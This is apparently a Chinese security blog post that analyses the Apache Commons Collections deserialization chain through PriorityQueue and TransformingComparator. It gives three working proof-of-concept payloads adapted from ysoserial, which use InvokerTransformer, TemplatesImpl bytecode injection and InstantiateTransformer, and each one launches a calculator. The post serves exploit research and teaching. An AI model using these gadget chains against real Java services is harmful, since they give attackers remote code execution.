【迎国庆】apache common collections反序列化之PriorityQueue

说明

apache common collections反序列化漏洞网上已经有很多文章了,大多数文章都是分析的ChainedTransformer和lazyMap攻击链的,很有少文章分析有文章分析PriorityQueue这个攻击链的。本文就是分析PriorityQueue攻击链。

其实apache common collections的所有的攻击链的本质上还是能够找到一个完整的调用链,最终能够执行transform()方法。

通过PriorityQueue攻击链由于利用的是apahce common collections库中自身的类,所以和JDK的版本没有关系。事先声明,本文所有的payload均是来自于ysoserial中所提供的payload。

PriorityQueue

找到PriorityQueue类同样是因为其实现了readObject()方法

public PriorityQueue(int initialCapacity,
                        Comparator<? super E> comparator) {
    // Note: This restriction of at least one is not actually needed,
    // but continues for 1.5 compatibility
    if (initialCapacity < 1)
        throw new IllegalArgumentException();
    this.queue = new Object[initialCapacity];
    this.comparator = comparator;
}
 
private void readObject(java.io.ObjectInputStream s)
    throws java.io.IOException, ClassNotFoundException {
    // Read in size, and any hidden stuff
    s.defaultReadObject();
 
    // Read in (and discard) array length
    s.readInt();
 
    SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size);
    queue = new Object[size];
 
    // Read in all elements.
    for (int i = 0; i < size; i++)
        queue[i] = s.readObject();
 
    // Elements are guaranteed to be in "proper order", but the
    // spec has never explained what that might be.
    heapify();
}

在readObject()方法中会调用heapify()方法。

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}
 
/**
    * Inserts item x at position k, maintaining heap invariant by
    * demoting x down the tree repeatedly until it is less than or
    * equal to its children or is a leaf.
    *
    * @param k the position to fill
    * @param x the item to insert
    */
private void siftDown(int k, E x) {
    if (comparator != null)
        siftDownUsingComparator(k, x);
    else
        siftDownComparable(k, x);
}
 
@SuppressWarnings("unchecked")
private void siftDownUsingComparator(int k, E x) {
    int half = size >>> 1;
    while (k < half) {
        int child = (k << 1) + 1;
        Object c = queue[child];
        int right = child + 1;
        if (right < size &&
            comparator.compare((E) c, (E) queue[right]) > 0)  //comparator就是在PriorityQueue()构造方法中传递的Comparator对象 this.comparator = comparator;
            c = queue[child = right];
        if (comparator.compare(x, (E) c) <= 0)
            break;
        queue[k] = c;
        k = child;
    }
    queue[k] = x;
}

通过上面的分析,PriorityQueue的反序列化调用链是 readObject()====>heapify()====>siftDown()====>siftDownUsingComparator()====>Comparator.compare()

那么现在的问题就转换为能够找到一个实现了Comparator接口的类,在其compare()方法中调用了Transform的transform()方法。

TransformingComparator

找到了TransformingComparator,分析其代码

@SuppressWarnings("unchecked")
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
    this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
 
/**
    * Constructs an instance with the given Transformer and Comparator.
    *
    * @param transformer  what will transform the arguments to <code>compare</code>
    * @param decorated  the decorated Comparator
    */
public TransformingComparator(final Transformer<? super I, ? extends O> transformer,
                                final Comparator<O> decorated) {
    this.decorated = decorated;
    this.transformer = transformer;
}
 
public int compare(final I obj1, final I obj2) {
    final O value1 = this.transformer.transform(obj1);
    final O value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

在compare()方法中刚好调用了Transformer类的transform()方法。至此,我们就可以构造出我们的整个攻击链了。
PriorityQueue.readObject()====>heapify()====>siftDown()====>siftDownUsingComparator()====>Comparator.compare()====>TransformingComparator().compare()====>Transformer.transform()

PoC1

在构造PoC的过程中,有一个潜在的坑。在PriorityQueue中的heapify()中。

private void heapify() {
    for (int i = (size >>> 1) - 1; i >= 0; i--)
        siftDown(i, (E) queue[i]);
}

注意只有当(size >>> 1) - 1》=0时,才会执行siftDown(i, (E) queue[i]);方法,意味着size必须有是size>=2。而priorityQueue刚好存在一个add()方法,当多增加一个元素之后,size就会+1。这也就是为什么我们在初始化之后,需要手动调用add()方法,增加一个item。

public boolean add(E e) {
    return offer(e);
}
 
public boolean offer(E e) {
    if (e == null)
        throw new NullPointerException();
    modCount++;
    int i = size;
    if (i >= queue.length)
        grow(i + 1);
    size = i + 1;
    if (i == 0)
        queue[0] = e;
    else
        siftUp(i, e);
    return true;
}

那么最终的PoC就是:

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }),
        new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class },
                new Object[] {null, new Object[0] }),
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] { "gnome-calculator" })
};
Transformer transformChain = new ChainedTransformer(transformers);
 
TransformingComparator transformingComparator = new TransformingComparator(transformChain);
PriorityQueue priorityQueue = new PriorityQueue(1, transformingComparator);
priorityQueue.add(1);
priorityQueue.add(1);
 
File f = new File("payload4");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(priorityQueue);
oos.close();
 
 
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();

PoC2

直接给出在ysoserial中的第二个payload.

public static void poc2 throws ClassNotFoundException, NotFoundException, CannotCompileException, IOException, IllegalAccessException, InstantiationException, NoSuchFieldException {
    // use template gadget class
    ClassPool pool = ClassPool.getDefault();
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());
    // run command in static initializer
    // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
    String cmd = "java.lang.Runtime.getRuntime().exec(\"gnome-calculator\");";
    clazz.makeClassInitializer().insertAfter(cmd);
    // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());
    CtClass superC = pool.get(AbstractTranslet.class.getName());
    clazz.setSuperclass(superC);
 
    final byte[] classBytes = clazz.toBytecode();
 
    final TemplatesImpl templates = TemplatesImpl.class.newInstance();
    Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
    bytecodesField.setAccessible(true);
    bytecodesField.set(templates,new byte[][] {
            classBytes, ClassFiles.classAsBytes(Foo.class)
    });
 
    Field nameField = templates.getClass().getDeclaredField("_name");
    nameField.setAccessible(true);
    nameField.set(templates,"Pwnr");
 
    Field tfactoryField = templates.getClass().getDeclaredField("_tfactory");
    tfactoryField.setAccessible(true);
    tfactoryField.set(templates, TransformerFactoryImpl.class.newInstance());
 
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
 
    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);
 
    Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
    iMethodNameField.setAccessible(true);
    iMethodNameField.set(transformer,"newTransformer");
 
    Field queueField = queue.getClass().getDeclaredField("queue");
    queueField.setAccessible(true);
    Object[] queueArray = (Object[]) queueField.get(queue);
    queueArray[0] = templates;
    queueArray[1] = 1;
 
    File f = new File("payload5");
    ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
    oos.writeObject(queue);
    oos.close();
 
 
    // 反序列化
    ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
    // 触发代码执行
    Object newObj = ois.readObject();
    ois.close();
 
 
}
 
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
 
    private static final long serialVersionUID = -5971610431559700674L;
 
 
    @Override
    public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
 
 
    @Override
    public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
}
 
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
 
    private static final long serialVersionUID = 8207363842866235160L;
}
 
 
public static  class ClassFiles {
    public static String classAsFile(final Class<?> clazz) {
        return classAsFile(clazz, true);
    }
 
    public static String classAsFile(final Class<?> clazz, boolean suffix) {
        String str;
        if (clazz.getEnclosingClass() == null) {
            str = clazz.getName().replace(".", "/");
        } else {
            str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
        }
        if (suffix) {
            str += ".class";
        }
        return str;
    }
 
    public static byte[] classAsBytes(final Class<?> clazz) {
        try {
            final byte[] buffer = new byte[1024];
            final String file = classAsFile(clazz);
            final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
            if (in == null) {
                throw new IOException("couldn't find '" + file + "'");
            }
            final ByteArrayOutputStream out = new ByteArrayOutputStream();
            int len;
            while ((len = in.read(buffer)) != -1) {
                out.write(buffer, 0, len);
            }
            return out.toByteArray();
        } catch (IOException e) {
            throw new RuntimeException(e);
        }
    }
 
}

在PoC2中除了构造基于TemplatesImpl这个类的payload之外,还有整个的构造也非常的有意思,包括queue的设置以及将iMethodName设置为newTransformer,这一点可以着重看下,而这也是这个payload最为难懂的地方。

Field queueField = queue.getClass().getDeclaredField("queue");
queueField.setAccessible(true);
Object[] queueArray = (Object[]) queueField.get(queue);
queueArray[0] = templates;
queueArray[1] = 1;
--------------------------------------------------------------------
Field iMethodNameField = transformer.getClass().getDeclaredField("iMethodName");
iMethodNameField.setAccessible(true);
iMethodNameField.set(transformer,"newTransformer");

其中的关键地方是为什么要设置queueArray[0] = templates;queueArray[1] = 1;,这样设置的目的是什么?

关于这一点,需要详细地分析queue这个类的结构来能够很好地解释为什么会是这样。之后会写一篇更加详细的文章,分析为什么是这种情况。

PoC3

前面两种PoC都是采用的是InvokerTransformer,当然我们也可以使用InstantiateTransformer作为自己的payload,按照官方的解释这个类的作用是:Transformer implementation that creates a new object instance by reflection。这个类的作用就是能够帮助我们生成一个我们需要类,那么我们就可以得到InstantiateTransformer这个类,在这个类的构造方法中:

public TrAXFilter(Templates templates)  throws TransformerConfigurationException {
    _templates = templates;
    _transformer = (TransformerImpl) templates.newTransformer();
    _transformerHandler = new TransformerHandlerImpl(_transformer);
    _overrideDefaultParser = _transformer.overrideDefaultParser();
}

其中最为关键的代码是 _transformer = (TransformerImpl) templates.newTransformer(); 所以如果我们将templates设置为我们的恶意类,就能够触发最终的payload。那么最终的payload的写法是:

TemplatesImpl templates = getTemplates();
ConstantTransformer constant = new ConstantTransformer(String.class);
 
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(paramTypes, args);
 
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
 
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
 
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
 
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
 
 
File f = new File("payload5");
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
oos.writeObject(queue);
oos.close();
 
 
// 反序列化
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
// 触发代码执行
Object newObj = ois.readObject();
ois.close();

其中最为关键的代码是: ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });

后记

其实这个payload需要理解PriorityQueue的整个运行机制,在PriorityQueue存在两个非常关键的点,一个是PriorityQueue的add()方法,一个是初始化的构造方法,如 PriorityQueue queue = new PriorityQueue(2, new TransformingComparator(chain));

每一次的add()方法在PriorityQueue中的调用路径如下:

add()====>offer()====>siftUp())====>siftUpUsingComparator()====>compare()====>ChainedTransformer:transform()

每一次的add()方法都会调用ChainedTransformer中的transform()方法完成数据的转换工作.而这些transform()就是在PriorityQueue初始化的时候定义的.

3 个赞